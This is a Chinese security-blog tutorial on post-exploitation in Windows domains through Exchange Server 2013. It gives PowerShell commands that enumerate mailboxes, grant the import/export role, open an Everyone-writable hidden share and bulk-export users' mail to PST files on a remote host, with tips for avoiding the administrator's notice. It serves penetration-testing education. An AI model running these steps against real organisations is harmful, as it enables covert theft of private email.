Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】域渗透之Exchange Server

0
0
【技术分享】域渗透之Exchange Server

2017-07-27 09:56:16

阅读:252次
点赞(0)
收藏
来源: 安全客





【技术分享】域渗透之Exchange Server

作者:hui81c2





【技术分享】域渗透之Exchange Server

作者:hui81c2

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Microsoft Exchange Server 做为消息与协作系统。它提供了业界最强的扩展性、高可靠性、安全性和高处理性能,被许多企业、学校、政府等作为主要邮件系统。在内网渗透测试中,对邮件系统的把控会让你事半功倍,尤其是和AD绑在一起的Exchange。

通过本文你将了解Ps下对Exchange邮件的基本操作,这也同样适用于运维管理,当然相比博大精深的ES是远远不够的。以下环境为Exchange server 2013,也同样适用于2010等版本。

你可以在开始菜单中通过 Exchange Management Shell (EMS)管理器快捷方式连接到 exchange server,初始化过后你将得到一个Powershell命令窗口。如果连接失败,请相信我,一定是你内存分配的不够,默认安装的Exchange也至少需要分配6个G内存。

如果一切都没有问题,并且你已经获取了域控权限,那就开始我们的旅程吧!


导出邮箱列表

查看数据库

邮箱数据库是创建和存储邮箱的粒度的单位。邮箱数据库以 Exchange 数据库 (.edb) 文件的形式存储。存储结构分为直接附加存储 (DAS)和存储区域网络 (SAN)。我们可以通过 Get-MailboxDatabase cmdlet 从服务器或组织中检索一个或多个邮箱数据库对象。一般为了高可用性至少有两台服务器组成DGA,你可以通过-Server参数指定检索服务器。

[PS]C:\windows\system32>get-mailboxdatabase-Server"exchange" NameServerRecoveryReplicationType --------------------------------- MailboxDatabase0574336487EXCHANGEFalseNone MailboxDatabaseTest01EXCHANGEFalseNone

格式化筛选指定属性,如数据库文件路径

[PS]C:\>Get-MailboxDatabase-Identity'MailboxDatabaseTest01'|Format-ListName,EdbFilePath,LogFolderPath Name:MailboxDatabaseTest01 EdbFilePath:C:\ProgramFiles\Microsoft\ExchangeServer\V15\Mailbox\MailboxDatabaseTest01\MailboxDatabaseTest01.edb LogFolderPath:C:\ProgramFiles\Microsoft\ExchangeServer\V15\Mailbox\MailboxDatabaseTest01

ECP数据库管理位置


【技术分享】域渗透之Exchange Server

获取组

在域控中新建过OU(Organizational Unit)之后,我们往往会建立Group来管理用户。查询组的意义在于——往往你会看到有个组名字叫做IT,当然这一步和net group大同小异。通过Get-DistributionGroup cmdlet 查询现有通讯组。

[PS]C:\Windows\system32>Get-DistributionGroup NameDisplayNameGroupTypePrimarySmtpAddress ------------------------------------------ EXchangeNewOUEXchangeNewOUUniversalENO@ruos.org ITSecurityITSecurityUniversal,SecurityEnabledit-security@ruos.org

查看通讯组IT Security详细信息

[PS]C:\Windows\system32>Get-DistributionGroup"ITSecurity"|fl RunspaceId:efbb60f9-5ef1-4a8d-9b94-c3f102e576c3 GroupType:Universal,SecurityEnabled SamAccountName:ITSecurity BypassNestedModerationEnabled:False ManagedBy:{ruos.org/Users/Administrator,ruos.org/Users/admin} MemberJoinRestriction:Closed MemberDepartRestriction:Closed ...

导出成CSV文件

#查询通讯组 Get-DistributionGroup|` Select-ObjectDisplayName,Name,Alias,GroupType,WindowsEmailAddress,@{n="ManagedBy";e={$_.ManagedBy-Join";"}},OrganizationalUnit|` Export-CSVtest.csv-NoType

获得组成员

通过Get-DistributionGroupMember cmdlet 可以查找现有的通讯组成员。

[PS]C:\Windows\system32>Get-DistributionGroupMember-Identity"ENO" NameRecipientType ----------------- AdministratorUserMailbox aUserMailbox mingxiaoUserMailbox user1UserMailbox

获得用户admin(可以是域用户格式)邮箱信息

获取用户邮箱信息。通过以上步骤,我们大概知道了如何查询用户组中的成员,下面我们将使用Get-Mailbox cmdlet 获取邮箱对象和属性。再配合Get-MailboxStatistics cmdlet 获取有关邮箱的信息,例如,邮箱大小、所包含的邮件数、以及最后访问时间。

基本使用

Get-Mailbox|format-tablesName,WindowsEmailAddress Get-Mailboxtestuser|fl*|Out-Filec:\mb.txt Get-Mailbox|ForEach-Object{$_.Name}

获取组织单元内用户

Get-Mailbox-OrganizationalUnit"NewOU" [PS]C:\Windows\system32>get-mailboxstatistics-identityadmin|SelectDisplayName,ItemCount,TotalItemSize,LastLogonTime DisplayNameItemCountTotalItemSizeLastLogonTime ---------------------------------------------- admin1190.88KB(93,056bytes)2016/11/2919:59:08

Format-Table 模式查看

使用反引号`换行,输入结束后再回车执行。

#查看所有邮箱信息Get-Mailbox-ResultSizeUnlimited|`Get-MailboxStatistics|`Sort-ObjectTotalItemSize–Descending|`ftDisplayName,@{label="MailboxSize(MB)";expression={$_.TotalItemSize.Value.ToMB()}

导出到CSV文件(这将是你想要的)

$mb=Get-Mailbox-ResultSizeUnlimited$output=foreach($objin$mb){$ms=(Get-MailboxStatistics$obj.Identity-WarningActionSilentlyContinue)$obj|Select-ObjectDisplayName,Name,WindowsEmailAddress,OrganizationalUnit,Database,` @{L="MailboxSize(MB)";E={$ms.TotalItemSize.Value.ToMB()}},` @{L="LastLogonTime";E={$ms.LastLogonTime}} }#Write-Output$output$output|Export-CSVtest.csv-NoType

或者通过ECP导出


【技术分享】域渗透之Exchange Server

导出PST邮件

在了解了用户的邮箱使用情况后,我们下一步将邮箱数据导出为PST文件,以方便本地查看和搜索。

要在Exchange Server 2010 SP1中使用用户邮箱导出功能,只能使用EMS进行操作。而且操作的Exchange服务器管理员必须要成为“邮箱导入导出角色”。

Exchange Server 2007 可以使用 export-Mailbox cmdlet

导出邮件分为以下几个步骤:

Step1 为用户添加导出权限

Step2 导出邮件

Step3 查看导出请求及删除导出请求

查看角色(默认只有组织管理成员才有导入/导出权限)

使用Get-ManagementRole cmdlet 查看组织内已创建的管理角色。

[PS]C:\Windows\system32>Get-ManagementRole NameRoleType ------------ MailboxImportExportMailboxImportExport

Get-ManagementRoleAssignment cmdlet 检索管理角色分配。

[PS]C:\Windows\system32>Get-ManagementRoleAssignment-role"MailboxImportExport"|Format-ListRoleAssigneeName RoleAssigneeName:OrganizationManagement RoleAssigneeName:Administrator RoleAssigneeName:admin

为用户Administrator添加邮箱导入导出角色

New-ManagementRoleAssignment cmdlet 可以将管理角色分配给管理角色组、管理角色分配策略、用户或通用安全组 (USG)。

添加角色后需要重启EMS

[PS]C:\Windows\system32>New-ManagementRoleAssignment-Name"ImportExport_DomainAdmins"` >>-User"Administrator"-Role"MailboxImportExport" >> DataObject:ImportExport_DomainAdmins User:ruos.org/Users/Administrator AssignmentMethod:Direct Identity:ImportExport_DomainAdmins EffectiveUserName:Administrator

删除管理角色分配

Remove-ManagementRoleAssignment"ImportExport_DomainAdmins"-Confirm:$false New-MailboxExportRequestcmdlet将主邮箱或存档的内容导出到.pst文件。 netshare创建“读/写权限”共享文件夹 netsharesharename$=c:\share/GRANT:Everyone,FULL

将user1收件箱中的所有邮件导出到 .pst

New-MailboxExportRequest-Mailboxuser1-IncludeFolders"#Inbox#"-FilePath\10.2.2.163\maildata\user1.pst

Inbox(收件箱)、SentItems(已发送邮件)、DeletedItems(已删除邮件)、Drafts(草稿)

导出用户 Tony 在 2012 年 1 月 1 日之前收到的邮件正文中包含“公司”和“利润”的邮件。

New-MailboxExportRequest-MailboxTony`-ContentFilter{(body-like"*company*")`-and(body-like"*profit*")`-and(Received-lt"01/01/2012")}`-FilePath"\\SERVER01\PSTFileShare\Tony_CompanyProfits.pst"

之后你可以将其载入到Outlook中进行查看。

查看导出请求状态

Get-MailboxExportRequestcmdlet可以查看使用New-MailboxExportRequestcmdlet启动的正在执行的导出请求的详细状态。 [PS]C:\Windows\system32>Get-MailboxExportRequest NameMailboxStatus ----------------- MailboxExportruos.org/Users/aCompleted

删除全部或部分完成的导出请求

[PS]C:\Windows\system32>Remove-MailboxExportRequest-Identity"a\MailboxExport"

删除所有状态为“已完成”的导出请求

Get-MailboxExportRequest-StatusCompleted|Remove-MailboxExportRequest-Confirm:$false

或者通过ECP导出,缺点是不能过滤时间,并且管理员会收到导出完成通知。


【技术分享】域渗透之Exchange Server

以上介绍了如何通过EMS导出用户邮件,但是谁也不能保证你不会和管理员撞个满怀。值得庆幸的是,Exchange Server支持PowerShell远程操作。


Exchange PowerShell

远程 PowerShell 提供了从命令行管理 Exchange Online的方式,利人又利己。

创建用户凭证

$Credential=Get-Credential

但这样会弹出凭据请求输入框,使用 PSCredential 创建非交互式登陆凭据。

$pass=ConvertTo-SecureString"PlainTextPassword"-AsPlainText-Force$Credential=New-ObjectSystem.Management.Automation.PSCredential("Domain01\User01",$pass)

创建登陆会话

$Session=New-PSSession-ConfigurationNameMicrosoft.Exchange`-ConnectionUrihttp://<FQDNofExchange2016Mailboxserver>/PowerShell/`-AuthenticationKerberos-Credential$Credential

导入会话

Import-PSSession$Session

移除会话

Remove-PSSession$Session

Scripting with the Exchange Management Shell

通过SHELL的方式执行脚本。

适用于: Exchange Server 2013

exchange默认根目录在 :\Program Files\Microsoft\Exchange Server\V15\bin

执行自定义脚本

需要开启远程脚本执行权限

Set-ExecutionPolicyRemoteSigned Script #filename:test.ps1#exporttopstforeach($userin"admin","user1","user2"){New-MailboxExportRequest-Mailbox$user-ContentFilter{Received-gt"11/29/2016"}-FilePath"\\192.168.6.2\sharename$\$user.pst"Start-Sleep-Seconds3}

从cmd启动脚本

64位系统下存在文件系统重定向机制,powershell路径为 C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

PowerShell.exe-command".'C:\ProgramFiles\Microsoft\ExchangeServer\V15\bin\RemoteExchange.ps1';Connect-ExchangeServer-auto;C:\test.ps1"

查看角色权限

PowerShell.exe-command".'C:\ProgramFiles\Microsoft\ExchangeServer\V15\bin\RemoteExchange.ps1';Connect-ExchangeServer-auto;Get-ManagementRoleAssignment-role\"MailboxImportExport\""

结束语

Exchange和AD的紧密性使得很多Cmdlet Reference都能达到同样的目的,比如查询用户登陆的源IP地址,我们还能通过Exchange的IIS日志来查找。但有时候遗憾的是,用户虽然在使用邮箱,工作机却没有加入域中。这种情况我们就需要配合其他信息进一步确认。


【技术分享】域渗透之Exchange Server

参考资料

https://technet.microsoft.com/zh-cn/library/mt587043(v=exchg.150).aspx

https://technet.microsoft.com/zh-cn/library/bb124558(v=exchg.150).aspx

Microsoft Exchange Server 2013 PowerShell Cookbook




【技术分享】域渗透之Exchange Server
【技术分享】域渗透之Exchange Server
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4145.html

Viewing all articles
Browse latest Browse all 12749